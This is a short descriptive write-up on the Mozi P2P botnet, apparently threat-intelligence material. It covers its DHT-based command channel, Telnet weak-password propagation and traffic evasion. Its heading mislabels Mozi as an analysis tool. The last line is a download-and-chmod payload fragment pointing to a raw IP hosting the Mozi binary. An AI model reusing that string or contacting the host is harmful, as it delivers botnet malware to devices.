Mozi

Automated malware analysis tool for network security.

Mozi is a sophisticated P2P botnet leveraging DHT protocol for network attack functionalities. It demonstrates capabilities for executing remote commands and has been noted for its use in exploiting weak passwords and known vulnerabilities. This malware has been observed downloading various malicious files onto targeted devices, with command execution facilitated by a Botnet Master issuing payloads to each node. The botnet effectively hides its traffic amidst normal DHT flows, allowing it to evade detection mechanisms. The analytical reports indicate its method of propagating through weak Telnet credentials and its intricate configuration management using encrypted payloads.

http://45.230.66.106:11584/Mozi.a;chmod+777+Mozi.a;/tmp